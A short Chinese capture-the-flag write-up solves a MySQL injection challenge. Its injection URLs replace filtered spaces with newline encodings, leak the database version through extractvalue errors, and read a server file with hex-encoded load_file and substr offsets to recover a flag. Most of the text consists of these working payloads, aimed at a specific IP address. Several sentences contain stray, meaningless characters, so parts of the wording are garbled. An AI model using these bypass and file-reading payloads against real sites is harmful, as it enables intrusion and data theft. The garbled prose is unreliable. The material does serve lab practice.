這道題過濾了單引號、雙引號等,最主要是過濾了空格屠列,根據(jù)mysql的特性,我們可以用換行符代替空格符
這里我通過extractvalue報錯百姓,注入語句如下
http://103.238.227.13:10088/?id=1%0Aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))
接下來根據(jù)題目提示我們要讀取文件
http://103.238.227.13:10088/?id=1%0Aand%0a(extractvalue(1,concat(0x7e,(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),0x7e)))
extractvalue性質(zhì)就是只能讀32位,經(jīng)過hex后得到的有用位是16位
事實上這個是函數(shù)截斷了每篷,讀取文件本身沒問題瓣戚,所以接下來用strsub試試
http://103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))%0afrom%0a161%0afor%0a20),0x7e)))
接下來只要修改偏移逐漸恢復(fù)文件就行了
最后恢復(fù)的文件為:
<?php fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsafdsafsdafdsafas0hfdsg9Flag:"7249f5a7fd1de602b30e6f39aea6193a"fsdafsafdsafdsafdsafa ?>
得到flag:
Flag:”7249f5a7fd1de602b30e6f39aea6193a”